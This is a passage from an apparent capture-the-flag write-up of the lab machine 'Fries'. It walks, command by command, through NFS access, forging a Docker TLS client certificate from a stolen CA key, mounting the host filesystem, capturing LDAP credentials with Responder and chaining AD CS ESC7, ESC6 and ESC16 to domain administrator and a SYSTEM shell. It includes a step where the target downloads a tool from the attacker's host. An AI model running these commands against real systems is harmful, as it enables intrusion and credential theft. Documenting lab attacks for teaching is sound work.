proxy_dns  
remote_dns_subnet 224  
tcp_read_time_out 15000  
tcp_connect_time_out 8000  
[ProxyList]  
socks5  127.0.0.1 1080
  • The configuration uses a SOCKS5 proxy listening on 127.0.0.1:1080 which corresponds to the dynamic SSH forward.
  • The NFS export can now be enumerated through ProxyChains:
proxychains showmount -a 127.0.0.1 
  • The exported list can also be queried:
proxychains showmount -e 127.0.0.1
  • Finally, the mounted directories can be queried:
proxychains showmount -d 127.0.0.1
  • The results confirm that the NFS export is reachable through the SSH connection.

Mounting the NFS Share Locally

  • With the export identified, it can be mounted on the attacking machine. A local mount point is created first:
mkdir mnt
  • The NFS share is then mounted:
sudo mount -t nfs -o soft,timeo=50,retrans=2 127.0.0.1:/srv/web.fries.htb mnt/
  • The options specify:
    • -t nfs: use the NFS filesystem type.
    • soft: return an error if an NFS request times out after the configured retries, rather than retrying indefinitely.
    • timeo=50: set the timeout interval to 50 tenths of a second.
    • retrans=2: retry a timed-out request twice before treating it as failed.
  • The mount succeeds, allowing the remote export to be browsed from the local machine.
  • However, attempting to access the certificate directory still produces a permission denied error.
  • This is expected. Mounting the share provides access to the exported filesystem, but it does not bypass the permissions enforced by the underlying filesystem.
  • The directory is owned by root:infra managers, and the current local identity does not belong to that group. the numeric identity discovered earlier can now be used to test access.

Mapping the Domain Identity with setpriv

  • The setpriv utility allows a process to run with specified user and group IDs. Since the UID and GID of d.cooper and infra managers are known, a shell can be started using those identifiers:
sudo setpriv --reuid=59602614  --regid=59605603 --clear-groups bash
  • The options mean:
    • — reuid=59602614: set the real and effective user identity to UID 59602614
    • — regid=59605603: set the real and effective group identity to GID 59605603
    • — clear-groups: remove supplementary group memberships.
    • bash: launch a new shell under the specified identity.
  • The shell prompt displays:
I have no name!@kali
  • This is normal in this situation. The local machine does not have a username entry corresponding to UID 59602614 in its own user database, so the shell cannot resolve the numeric identity to a username.
  • The important part is not the prompt, but the numeric identity used by the process. Running id confirms the current UID and GID.
  • With the process now using the identity associated with d.cooper and the infra managers group, the certificate directory can be accessed.
  • The access restriction was based on group membership and mapping the relevant numeric identity allowed the directory permissions to be satisfied. This demonstrates why understanding UID/GID mappings is important when investigating NFS exports backed by centralized identity services.

Copying the Certificate Files to the Attacking Machine

  • The certificate files need to be transferred to the attacking machine for further inspection and use.
  • One convenient approach is to use /dev/shm, a temporary filesystem commonly backed by memory. First check that it is empty:
ls /dev/shm
  • The certificate files are then copied into it:
cp mnt/certs/* /dev/shm
  • On the attacking machine, the files can be collected from the shared temporary location. Create a local directory and copy the files:
sudo cp /dev/shm/* certs
  • Since the files were copied using elevated privileges, their ownership may be assigned to root. Change ownership to the current local user so they can be managed without repeatedly using sudo:
sudo chown nato:nato *
  • The certificate material is now available locally for the next step.

Generating a Client Authentication Certificate

  • The certificate authority files include both ca.pem and ca-key.pem. Together, these provide the certificate and private key needed to sign a new certificate.
  • A new private key is generated first:
openssl genrsa -out key.pem 4096
  • This creates a 4096-bit RSA private key name key.pem.
  • Next, a Certificate Signing Request (CSR) is generated:
openssl req -new -key key.pem -subj "/CN=root" -out client.csr 
  • The -subj option supplies the certificate subject directly. In this case, the Common Name (CN) is set to root.
  • A certificate extension file is then created:
echo "extendedKeyUsage=clientAuth" > ext.cnf
  • The extendedKeyUsage extension specifies that the certificate is intended for client authentication.
  • Finally, the CSR is signed using the CA certificate and its private key:
openssl x509 -req -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out cert.pem -days 365 -extfile ext.cnf
  • The result is a new certificate, cert.pem, signed by the CA whose private key was recovered from the NFS export.
  • This is an important point in the attack chain: access to protected NFS directory has exposed a CA private key, making it possible to generate a certificate that chains back to that authority. The certificate’s actual authentication privileges still depend on how the target services trust and validate certificates, which will be investigated in the next stage.

Transferring the Generated Certificate Files to the Target

  • The generated files need to be transferred back to the remote host. The local certs directory is copied to /dev/shm on the target using SCP:
scp -r certs/ svc@fries.htb:/dev/shm
  • Back on the remote SSH session the certificate material is now available on the target.

Abusing Docker TLS Authentication

  • With the generated client certificate and private key transferred to the target, the next step is to investigate the Docker daemon discovered earlier.
  • A normal Docker command is attempted first:
docker ps
  • However, it fails with a permission error. This happens because the current svc account does not have permission to access the local Docker Unix socket at /var/run/docker.sock.
  • Fortunately, the earlier process enumeration revealed that Docker also exposes a TCP endpoint on 127.0.0.1:2376, protected by TLS. The Docker daemon’s startup arguments provided the required connection format:
--tlsverify   
--tlscacert=/etc/docker/certs/ca.pem   
--tlscert=/etc/docker/certs/server-cert.pem   
--tlskey=/etc/docker/certs/server-key.pem   
-H=127.0.0.1:2376
  • Since the CA certificate and a newly signed client certificate are now available, the Docker CLI can connect to this endpoint using TLS authentication.

Enumerating Running Containers

  • The following command connects to the Docker daemon using the recovered certificate files:
docker --tlsverify --tlscacert ca.pem --tlscert cert.pem --tlskey key.pem -H tcp://127.0.0.1:2376 ps
  • The command-line options specify:
    • — tlsverify: enable TLS and verify the server certificate against the supplied CA.
    • — tlscacert ca.pem: specify the CA certificate used to verify the Docker server.
    • — tlscert cert.pem: provide the generated client certificate.
    • — tlskey key.pem: provide the private key corresponding to that client certificate.
    • -H tcp://127.0.0.1:2376: connect to the Docker daemon through its TCP endpoint.
    • ps: list currently running containers.
  • The connection succeeds and reveals several containers.
  • The output provides a useful overview of the application’s infrastructure:
    • pwm: PWM password self-service application.
    • pgadmin4: PgAdmin administration interface.
    • web: Fries web application.
    • postgres: PostgreSQL database.
    • gitea: Gitea source-code management platform.
  • These are familiar services from the earlier enumeration. The important discovery is that the recovered certificate provides access to the Docker API, allowing interaction with the containers through the daemon rather than through the restricted local Unix socket.

Enumerating Docker Images

  • It is also useful to inspect the images available on the host:
docker --tlsverify --tlscacert ca.pem --tlscert cert.pem --tlskey key.pem -H tcp://127.0.0.1:2376 images
  • One image has no repository or tag assigned. Such an image is commonly referred to as a dangling or untagged image. It may be worth investigating later, but the fries-web image is the immediate target because it belongs to the application running on the host.

Mounting the Host Filesystem Inside a Container

  • Control over the Docker daemon is particularly powerful because it allows creation of containers with custom volume mounts.
  • The fries-web image can be used to start an interactive container while mounting the host’s entire root filesystem at /nato:
docker --tlsverify --tlscacert ca.pem --tlscert cert.pem --tlskey key.pem -H tcp://127.0.0.1:2376 run -it --rm -v /:/nato fries-web bash
  • Breaking down the command:
    • run: create and start a new container.
    • -it: allocate an interactive terminal.
    • — rm: automatically remove the container when it exists.
    • -v /:/nato: mount the host’s root filesystem (/) inside the container at /nato.
    • fries-web: use the fries-web image.
    • bash: start an interactive Bash shell inside the container.
  • The command succeeds. The shell is running as root inside the container. More importantly, the host filesystem is now accessible through the /nato mount point.
  • The host’s root directory can be accessed as follows:
cd /nato
  • Then:
cd root
  • The contents of the host’s /root directory are now accessible from inside the container. The user.txt file is present and can be read before continuing with further enumeration.
  • This demonstrates the security impact of unrestricted Docker daemon access. A user who can control a Docker daemon may be able to create a container that mounts sensitive host directories, potentially obtaining root-level access to the underlying host.

Gaining Web Root Access

  • The host filesystem is now accessible from the container, so the next step is to investigate the files belonging to the root user.

Recovering the Root SSH private Key

  • While enumerating /nato/root, the hidden files and directories reveal an .ssh directory.
  • The SSH directory contains the id_rsa file which is theroot user’s SSH private key. Its contents are copied to the attacking machine and saved locally.
  • Before using the recovered private key, its file type and permissions were checked.
  • The file was confirmed to be an OpenSSH private key. However, its permissions were too permissive for SSH, which expects private keys to be accessible only by their owner. The permissions were therefore restricted:
chmod 600 id_rsa
  • The key can then be used to establish a direct SSH session:
ssh -i id_rsa root@fries.htb
  • Authentication succeeds, providing a stable root shell on the target.

Enumerating Root’s Scripts Directory

  • With root SSH access established, the next step is to inspect the files and scripts available on the host.
  • The root user’s home directory contains a scripts directory.
  • The scripts provide insight into how the environment is managed and, more importantly, how the Docker and NFS services are configured.

clear-containers.sh

  • The first script is responsible for removing recently created containers, while preserving containers whose names match a predefined list.
  • A few important details stand out:
    • DOCKER_TLS_VERIFY=1 enables TLS verification for Docker CLI connections.
    • DOCKER_CERT_PATH points to the certificate directory used by the root account.
    • DOCKER_HOST identifies the Docker daemon’s TCP endpoint.
    • PRESERVE_NAMES defines container-name patterns that should not be removed.
    • The script retrieves the creation time of each container and calculates its age.
    • Containers created less than 300 seconds ago are forcibly removed unless their names match one of the preserved patterns.
  • This appears to be a cleanup mechanism for temporary containers. It also explains why an interactive container created during testing may not remain available indefinitely. (That’s why we established an SSH session earlier)

clear-share.sh

  • The next script manages the shared NFS directory.
  • The script removes regular files from /srv/web.fries.htb/shared, including hidden files matching the .??* pattern. The optional directory-cleanup command is currently commented out, so empty directories are not removed by that line.
  • This confirms that the shared directory is intended to hold temporary files that are periodically cleared.

restore-certs.sh

  • The certificate restoration script is particularly interesting given the earlier discovery of the NFS export.
  • The script copies the Docker certificate files from /etc/docker/certs back into the NFS-exported certificate directory.
  • It then:
    1. Assigns ownership to root:infra managers.
    2. Sets permissions to 640, allowing the owner to read and write, the group to read and everyone else to have no access.
  • This explains the ownership and access restrictions encountered earlier when enumerating /srv/web.fries.htb/certs.
  • It also highlights the sensitivity of the directory: it contains the private CA key used to sign certificates trusted by the Docker daemon.

start-web-svc.sh

  • The web service startup script configures the Docker environment and starts the services using Docker Compose.
  • The docker-compose up -d command starts the services defined in the Compose configuration and runs them in the background.
  • The script confirms that the environment relies on the Docker daemon’s TLS-protected TCP endpoint rather than the local Unix socket.

stop-web-svc.sh

  • The stop web service script is responsible for shutting down the application’s Docker services. It configures the Docker client to communicate with the local Docker API over TLS using the certificates stored in /root/.docker, changes into /root/scripts and executes docker-compose down to stop and remove the containers defined in the Compose configuration.

Inspecting PWM Configuration Files

  • The pwm directory contains another useful lead. Navigating into its configuration directory reveals PwmConfiguration.xml file.
  • The PwmConfiguration.xml file is particularly interesting because it stores application configuration settings, including authentication-related information.
  • Inspecting the configuration file there is a configPasswordHash property that contains a password hash used to protect PWM configuration interface.
  • The hash format is not immediately obvious, so the next step is to identify the algorithm.
  • The configuration also contains an LDAP proxy credential.
  • The LDAP proxy username identifies the service account used by PWM to communicate with Active Directory:
CN=svc_infra,CN=Users,DC=fries,DC=htb
  • The associated password is stored in an application-specific encrypted format prefixed with ENC-PW:. At this point, the most immediately actionable credential is the configuration hash.

Identifying and Cracking the PWM configuration Hash

  • The hashid utility is used to identify the hash format:
hashid -m '$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG'
  • The output identifies the has as bcrypt.
  • The hash is saved and tested against the rockyou.txt wordlist:
  • Hashcat successfully recovers the password.
  • The recovered password is added to the credential list for future testing.

Capturing Clear-text Credentials from PWM

  • With the PWM configuration password recovered, the configuration interface can now be accessed. The LDAP connection settings provide an opportunity to investigate how the application authenticates to Active Directory.

Accessing the PWM Configuration Editor

  1. Navigate to https://pwm.fries.htb .
  2. Select Configuration Editor and enter the recovered password.
  3. Expand the following configuration sections:
LDAP  
  └── LDAP Directories  
      └── default  
          └── Connection
  • The connection settings contain the LDAP server configuration, including the LDAP URL and the proxy account used by PWM.
  • The objective is to determine whether PWM can be induced to authenticate to an LDAP server controlled by the attacking machine. If the application performs a simple LDAP bind without transport protection, the authentication credentials may be exposed.

Preparing Responder

  • Responder is started on the VPN interface to listen for authentication attempts:
sudo responder -I tun0
  • Responder supports several network poisoning and authentication-capture mechanisms. In this case, it is used to capture the LDAP authentication attempt generated when PWM tests the modified LDAP profile.
  • In the PWM configuration editor, navigate to the LDAP connection settings and add a new LDAP URL: ldap://10.10.14.176:389
  • Here, 10.10.14.176 is the attacking machine’s VPN address and port 389 is the standard LDAP port.
  • With Responder listening, select Test LDAP Profile in the PWM interface.
  • The application attempts to connect to the configured LDAP endpoint, resulting in an authentication capture.

Capturing the LDAP Proxy Credentials

  • Responder receives the authentication attempt and reveals clear-text credentials.
  • The capture username identifies the svc_infra service account and the password is recovered in clear text.
  • This is a significant development. The earlier configuration file exposed an encrypted LDAP proxy password, but redirecting the application’s LDAP connection to the controlled listener has revealed the actual credential.
  • The credentials are saved for reference.

Validating the Captured Credentials

  • Before using the credentials in further enumeration, their validity should be confirmed against the available services.
  • SMB Authentication:
nxc smb DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d'
  • LDAP Authentication:
nxc ldap DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d'
  • WinRM Authentication:
nxc winrm DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' 
  • The credentials authenticate successfully against SMB and LDAP, but WinRM authentication does not succeed.
  • Kerberos authentication is also tested for SMB and LDAP:
  • SMB Authentication via Kerberos:
nxc smb DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' -k
  • LDAP Authentication via Kerberos:
nxc ldap DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' -k
  • Both Kerberos authentication tests succeed after rectifying the clock skew.
  • The results establish that the recovered credentials are valid for the domain account and can be used to authenticate to SMB and LDAP through both standard password-based authentication and Kerberos.
  • WinRM remains unavailable for this account, so the next part will focus on what svc_infra identity can access through Active Directory and the other authenticated services.

Active Directory Enumeration

  • Although the svc_infra credentials authenticate successfully against SMB and LDAP, they do not provide a WinRM session. Rather than stopping at authentication checks, the next step is to understand the account’s permissions and relationships within Active Directory.
  • BloodHound is useful here because it maps relationships between users, groups, computers and directory objects. Its graph-based analysis can reveal privilege paths that are not immediately obvious from the individual LDAP queries.

Collecting Active Directory Data With RustHound-CE

  • The first step is to collect domain information using RustHound-CE:
rusthound-ce -d fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' -z
  • Once the collection completes, the generated archive can be imported into BloodHound for analysis.
  • Since the Docker version of BloodHound is being used, the services are started in detached mode:
sudo docker-compose up -d
  • After the containers are running, access the BloodHound interface (http://127.0.0.1:8080), upload the RustHound-CE archive and allow the data to be ingested.

Analyzing the BloodHound Results

  • The collected data reveals an interesting relationship involving the svc_infra account.
  • The most important findings are:
    • svc_infra has a ReadGMSAPassword over GMSA_CA_PROD$. This permission allows the account to retrieve the managed password material for the gMSA.
  • GMSA_CA_PROD$ belongs to the REMOTE MANAGEMENT USERS group. This suggests that obtaining the account’s credentials may provide access to remote management services.
  • GMSA_CA_PROD$ can enroll in certificates issued by FRIES-DC01-CA. This establishes a potential route into the domain’s certificate infrastructure.
  • The ReadGMSAPassword relationship is particularly important. Group Managed Service Accounts use passwords that are automatically managed and periodically rotated by Active Directory. Instead of requiring an administrator to maintain a static password manually, authorized principals can retrieve the account’s current managed password through the appropriate directory permissions.

Gaining Access as GMSA_CA_PROD$

Retrieving the gMSA Password

  • NetExec can retrieve managed service account credentials when the authenticated user has the necessary permissions:
nxc ldap DC01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' --gmsa
  • The command successfully retrieves the NT hash associated with GMSA_CA_PROD$.
  • The recovered credential is saved for later use.

Validating the gMSA Credentials

  • Before attempting remote access, the hash is tested against the available domain services using NetExec.
  • SMB Authentication:
nxc smb DC01.fries.htb -u 'gMSA_CA_prod$' -H 'b0f2883453608fb7bffd1ac2e0e18188'
  • LDAP Authentication:
nxc ldap DC01.fries.htb -u 'gMSA_CA_prod$' -H 'b0f2883453608fb7bffd1ac2e0e18188'
  • WinRM Authentication:
nxc winrm DC01.fries.htb -u 'gMSA_CA_prod$' -H 'b0f2883453608fb7bffd1ac2e0e18188'
  • All three authentication checks succeed, confirming that the retrieved hash is valid for SMB, LDAP and WinRM.
  • The successful WinRM authentication is particularly useful because it provides a way to interactively access the Windows environment.

Establishing a Remote Management Session

  • With the hash validated, Evil-WinRM is used to establish a Remote PowerShell session:
evil-winrm -i 10.129.244.72 -u gmsa_ca_prod$ -H 'b0f2883453608fb7bffd1ac2e0e18188'
  • Once connected, the current identity is verified and the account’s group memberships are enumerated:
whoami /groups
  • Among the listed memberships is:
BUILTIN\Certificate Service DCOM Access
  • This group is associated with access to Certificate Services-related DCOM interfaces. Its presence, combined with the BloodHound findings, provides a strong indication that Active Directory Certificate Services (AD CS) is an important part of the attack path.
  • The next step is to enumerate the certificate authority configuration and identify any exploitable certificate-related permissions.

Vulnerable Certificate Authority Enumeration

  • Active Directory Certificate Services allows organizations to issue and manage certificates for users, computers and services. When certificate templates or certificate authority permissions are configured insecurely, they can create paths to account impersonation and privilege escalation.
  • Certipy is used to enumerate the certificate authority and identify potentially vulnerable configurations.

Identifying Vulnerable Certificate Configurations

  • The following command performs certificate-related enumeration and filters the results for vulnerable configurations:
certipy-ad find -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -vulnerable -stdout
  • The output identifies an ESC7 Vulnerability. ESC7 concerns dangerous permissions over a Certificate Authority (CA). Depending on the permissions granted, an account may be able to manage CA settings or certificate requests in a way that can be abused to obtain certificates with elevated privileges.
  • The finding makes the CA a promising target for further investigation.

Understanding the ESC7 Attack Path

certipy-ad ca -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -target DC01.fries.htb -ca fries-DC01-CA -add-officer gmsa_ca_prod$
  • The command succeeds. This confirms that the account has sufficient CA permissions to add itself as an officer.
  • The next step is to enable the SubCA certificate template on the CA:
certipy-ad ca -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -target DC01.fries.htb -ca fries-DC01-CA -enable-template 'SubCA'
  • The operation also succeeds. The SubCA template is now enabled on the certificate authority.
  • However, enabling a template does not automatically grant the current account permission to enroll in it. Certificate template enrollment permissions and CA management permissions are separate controls.

Attempting to Request a Certificate

  • With the SubCA template enabled, a certificate request is attempted for the domain administrator.
  • The administrator’s SID is obtained from BloodHound: S-1-5-21-858338346-3861030516-3975240472-500
  • The request is submitted using Certipy:
certipy-ad req -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -target DC01.fries.htb -ca fries-DC01-CA -template 'SubCA' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
  • The request fails. The important part of the error is CERTSRV_E_TEMPLATE_DENIED. The certificate authority rejects the request because the current account does not have enrollment permission on the selected template.
  • This illustrates an important distinction: having dangerous permissions over the CA does not necessarily mean the account can enroll in every certificate template. CA-level permissions and template-level enrollment permissions must be considered separately.

Inspecting Certificate Authority Permissions

  • To better understand the CA’s access controls, the certificate authority security configuration is inspected from the Evil-WinRM session:
certutil -getreg ca\Security
  • The CA security configuration contains several entries worth examining.
  • In particular, GMSA_CA_prod$ appears in both an allow entry and a deny entry. The distinction between these permissions matter:
    • Certificate Manager permissions relate to managing certificate requests, including issuing or denying pending requests.
    • Enroll permissions determine whether an account can request certificates through the CA and its available templates.
    • CA Administrator permissions provide administrative capabilities over the certificate authority.
  • The explicit Deny Certificate Manager entry is noteworthy, but it should not be confused with the template enrollment error observed earlier. The request failure specifically reports thar the account lacks enrollment permission for the selected template.
  • The next avenue is to investigate whether the CA’s certificate issuance policy can be modified to allow a different certificate request path.

Enabling ESC6 on the Certificate Authority

  • ESC6 is a certificate authority misconfiguration in which the CA allows an enrollee to specify a Subject Alternative Name (SAN) through request attributes. When combined with suitable enrollment permissions and other conditions, this can allow a requester to obtain a certificate representing another identity.
  • The relevant Certipy documentation is available at Certipy -ESC6: CA Allows SAN Specification via Request Attributes.
  • The CA configuration can be inspected and modified using Microsoft’s certutil utility or a dedicated AD CS management tool. In this case, Certify is used.

Preparing Certify

  • Certify is a .NET tool for enumerating and interacting with Active Directory Certificate Services. It provides functionality for managing CA settings and identifying certificate-related attack paths.
  • A local directory is created to host the executable:
mkdir www && cd www
  • The binary is downloaded from the SharpCollection repository:
wget https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Certify.exe
  • A simple Python HTTP server is then started to make the file available to the remote Windows session:
python -m http.server

Transferring Certify to the Target

  • Back in the Evil-WinRM session, the working directory is changed to C:\ProgramData:
Set-Location \ProgramData
  • The executable is downloaded from the attacking machine:
wget http://10.10.14.176:8000/Certify.exe -o Certify.exe
  • The binary is now available locally on the target and can be used to inspect and modify the CA configuration.

Checking the CA Edit Flags

  • Before enabling ESC6, the current CA policy flags are inspected:
certutil -getreg policy\EditFlags
  • The EDITF_ATTRIBUTESUBJECTALTNAME2 is absent from the current configuration.
  • This is the flag associated with ESC6. Its absence means that the CA is not currently configured to allow the relevant SAN specification through request attributes.

Enabling ESC6 with Certify

  • Certify is used to modify the CA configuration:
.\Certify.exe manage-ca --ca "DC01.fries.htb\fries-DC01-CA" --esc6
  • The output confirms that the flag is not set and that Certify successfully enables it.
  • The tool also restarts the Certificate Services service so that the configuration change takes effect.

Verifying the ESC6 Configuration

  • The CA policy flags are queried again to confirm that the change was applied:
certutil -getreg policy\EditFlags
  • The updated output now includes EDITF_ATTRIBUTESUBJECTALTNAME2 that confirms that the ESC6-related flag has been enabled.
  • Certipy can also be used to verify the updated certificate authority configuration:
certipy-ad find -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -vulnerable -stdout
  • The enumeration confirms that the CA is now identified as vulnerable to both ESC6 and ESC7.
  • At this point, the investigation has established two important facts: the gMSA has dangerous CA permissions and the CA’s SAN-related policy flag has been enabled. The next stage can build on these conditions to pursue certificate-based impersonation and further domain access.

Chaining ESC6 and ESC16 to Obtain an Administrator Certificate

  • Although ESC6 has been enabled, the first certificate request still encounters an obstacle. The certificate is issued, but its contents reveal conflicting Security Identifiers (SIDs).

Requesting the Administrator Certificate

  • The certificate request is submitted again, this time using the svc_infra account and User template:
certipy-ad req -dc-ip 10.129.244.72 -u svc_infra -p 'm6tneOMAh5p0wQ0d' -target DC01.fries.htb -ca fries-DC01-CA -template 'User' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
  • The request succeeds, but Certipy identifies conflicting SIDs.
  • The certificate contains two different SIDs:
    • SAN URL SID: S-1–5–21–858338346–3861030516–3975240472–500, which belongs to the domain Administrator.
    • Security Extension SID: S-1–5–21–858338346–3861030516–3975240472–3601, which belongs to the account used to request the certificate.
  • Windows prioritizes the SID contained in the security extension for authentication. Consequently, specifying the Administrator SID in the request is not enough while the certificate still contains the conflicting security extension.

Attempting Certificate Authentication

  • The generated pfx file is passed to Certipy for authentication:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.244.72
  • The authentication attempt fails. The error confirms the problem: the certificate identifies the requested principal as Administrator, but its security extension contains a different account SID. The domain controller rejects the authentication because the certificate’s security extension SID does not match the Administrator object’s SID.
  • The next step is to investigate the CA’s security extension configuration.

Understanding and Enabling ESC16

  • ESC16 occurs when a Certificate Authority is configured to disable the szOID_NTDS_CA_SECURITY_EXT security extension globally.
  • This extension carries the account SID is issued certificates. Disabling it removes the conflicting SID information that Windows would otherwise prioritize during certificate authentication.
  • The relevant Certipy documentation is available here: Certipy — ESC16: Security Extension Disabled on CA Globally.
  • Before making any changes, the current configuration is inspected from Evil-WinRM session:
certutil -getreg policy\DisableExtensionList
  • The DisableExtensionList is empty, meaning the security extension has not been disabled through this setting.
  • Certify is used to modify the CA configuration and enable ESC16:
.\Certify.exe manage-ca --ca "DC01.fries.htb\fries-DC01-CA" --esc16
  • The output confirms that the extension is added to the disabled extension list.
  • The Certificate Services service is restarted to apply the updated configuration.

Verifying ESC16

  • The configuration is queried again:
certutil -getreg policy\DisableExtensionList
  • This time the output contains the extension’s object identifier.
  • The OID 0: 1.3.6.1.4.1.311.25.2 identifies the NTDS CA security extension. Its presence in the disabled extension list confirms that the CA has been configured not to include this extension in issued certificates.
  • Certipy can also identify the updated configuration:
certipy-ad find -dc-ip 10.129.244.72 -u gmsa_ca_prod$ -hashes b0f2883453608fb7bffd1ac2e0e18188 -vulnerable -stdout
  • The findings now include ESC6, ESC7, ESC16.
  • The attack chain now consists of three related certificate authority weaknesses:
    • ESC7: Dangerous permissions over the Certificate Authority allowed the gMSA to modify CA settings and enable the required template.
    • ESC6: The CA was configured to allow SAN specification through certificate request attributes.
    • ESC16: The CA was configured to disable the NTDS security extension, removing the conflicting SID information from newly issued certificates.
  • Individually, these conditions expose different weaknesses. Combined, they provide a path towards requesting a certificate that can be used to authenticate as another domain identity.

Gaining Administrator Access

Requesting a New Administrator Certificate

  • With ESC16 enabled, the certificate is requested again using the svc_infra account and the User template:
certipy-ad req -dc-ip 10.129.244.72 -u svc_infra -p 'm6tneOMAh5p0wQ0d' -target DC01.fries.htb -ca fries-DC01-CA -template 'User' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500'
  • This time, the request succeeds without the conflicting SID warning.
  • The certificate now contains the intended Administrator SID S-1–5–21–858338346–3861030516–3975240472–500.
  • The resulting administrator.pfx file contains the certificate and its corresponding private key, which can now be used for authentication.

Authenticating with the Administrator Certificate

  • Certipy is used to authenticate with the newly issued certificate:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.244.72
  • The authentication succeeds. Certipy successfully obtains a Kerberos Ticket Granting Ticket (TGT) and saves the resulting credential cache as administrator.ccache. It also retrieves the Administrator NT hash.
  • This is a significant milestone: certificate-based authentication has now provided credentials required to authenticate as the domain administrator.

Validating Administrator Access

  • SMB Authentication:
nxc smb DC01.fries.htb -u administrator -H 'a773cb05d79273299a684a23ede56748'
  • LDAP Authentication:
nxc ldap DC01.fries.htb -u administrator -H 'a773cb05d79273299a684a23ede56748'
  • WinRM Authentication:
nxc winrm DC01.fries.htb -u administrator -H 'a773cb05d79273299a684a23ede56748'
  • All three authentication checks succeed, confirming that the recovered hash belongs to a valid domain Administrator account.

Obtaining an Administrator Shell with Evil-WinRM

  • With WinRM authentication confirmed, Evil-WinRM is used to establish an interactive PowerShell session:
evil-winrm -i DC01.fries.htb -u administrator -H a773cb05d79273299a684a23ede56748
  • The current identity is verified as fries\administrator and inspecting the Administrator desktop both flags are present the root and user flags.

Obtaining a SYSTEM shell with Impacket PsExec

  • For an alternative method of remote access, Impacket’s psexec can be used with the recovered Administrator NT hash:
impacket-psexec -hashes :a773cb05d79273299a684a23ede56748 administrator@DC01.fries.htb
  • The command successfully opens a Windows command shell.
  • Unlike the Evil-WinRM session, which runs as the domain Administrator, this PsExec session executes as NT AUTHORITY\SYSTEM, the local operating system’s highly privileged service identity.
  • The user directories are enumerated and upon inspecting Administrator’s Desktop directory we obtain both flags.
  • The successful PsExec session confirms SYSTEM-level access to the Windows host.

Conclusion

Fries was a reminder that compromising a domain does not always begin with a domain administrator password. Sometimes, the more interesting route is hidden in the permissions, services and configuration files that nobody thought to review.

What started with a password recovered from Git history eventually led through PgAdmin RCE, an exposed NFS share, Docker’s remote API, PWM credential capture, gMSA password retrieval and a chain of AD CS misconfigurations involving ESC7, ESC6 and ESC16.

The final certificate request provided the missing piece, allowing authentication as the domain Administrator and ultimately obtaining a SYSTEM shell.

The real lesson is that security weaknesses rarely operate in isolation. A seemingly harmless permission or configuration mistake can become considerably more dangerous when combined with other weaknesses across an environment. Fries demonstrates exactly how that happens — and why reviewing the relationships between systems is just as important as reviewing the systems themselves.

And with that Mis Amigos, Fries is fully cooked.


Tools Used

Reconnaissance and Enumeration

  • Nmap - Network scanning, service discovery and version detection.
  • NetExec - SMB, LDAP, WinRM, SSH authentication testing and gMSA password retrieval.
  • RustHound-CE - Active Directory enumeration and BloodHound data collection.
  • BloodHound - Active Directory relationship analysis and privilege escalation path discovery.
  • showmount - Enumeration of NFS exports.
  • ntpdate - Synchronization of the attacking machine's clock with the domain controller.

Web Application and Database Exploitation

  • Git - Repository and recovery of exposed credentials from commit history.
  • PgAdmin 4 - PostgreSQL database administration interface, exploited through CVE-2025-2945.
  • Hydra - Credential testing against SSH.
  • SQLite - Inspection of the PgAdmin application database.
  • Netcat - Reverse shell handling and file transfers.
  • Python http.server - Hosting files for transfer to the target.

Linux, NFS and Docker Exploitation

  • SSH - Remote access and port forwarding.
  • ProxyChains - Routing supported network connections through the SSH SOCKS proxy.
  • mount - Mounting the exposed NFS share.
  • setpriv - Running commands with specific numeric user and group IDs.
  • OpenSSL - Generating a client key, creating a certificate signing request and signing a Docker client certificate using the recovered CA key.
  • Docker - Interacting with the remote Docker API and exploiting the container access to reach the host filesystem.
  • Docker Compose - Managing the application's container services.

Credential Recovery and Capture

  • Hashcat - Cracking the bcrypt hash recovered from the PWM configuration.
  • Hash Identifier - Identifying the hash type and corresponding Hashcat mode.
  • Responder - Capturing LDAP authentication credentials through a controlled LDAP redirection
  • file, chmod and ssh - Identifying the recovered SSH private key, correcting its permissions and using it for authentication.

Active Directory Certificate Services Exploitation

  • Certipy - Enumerating AD CS, identifying certificate authority vulnerabilities, requesting certificates and authenticating with PFX files.
  • Certify - Managing Certificate Authority registry settings and enabling the ESC6 and ESC16 conditions.
  • certutil - Inspecting Certificate Authority registry configuration, including EditFlags and DisableExtensionList.
  • Evil-WinRM - Establishing remote PowerShell sessions using the recovered Administrators NT hash.
  • Impacket - Using psexec for remote command execution and obtaining a SYSTEM shell.

Supporting Utilities

  • curl / wget - Retrieving files and interacting with web resources.
  • Python - Running a temporary HTTP server and stabilizing the reverse shell.
  • stty - Configuring the terminal for an interactive shell.
  • vi - Updating local credential notes.

References

Active Directory Certificate Services (AD CS)

Application and Infrastructure Vulnerabilities

About the author

No comments yet. Be the first to comment.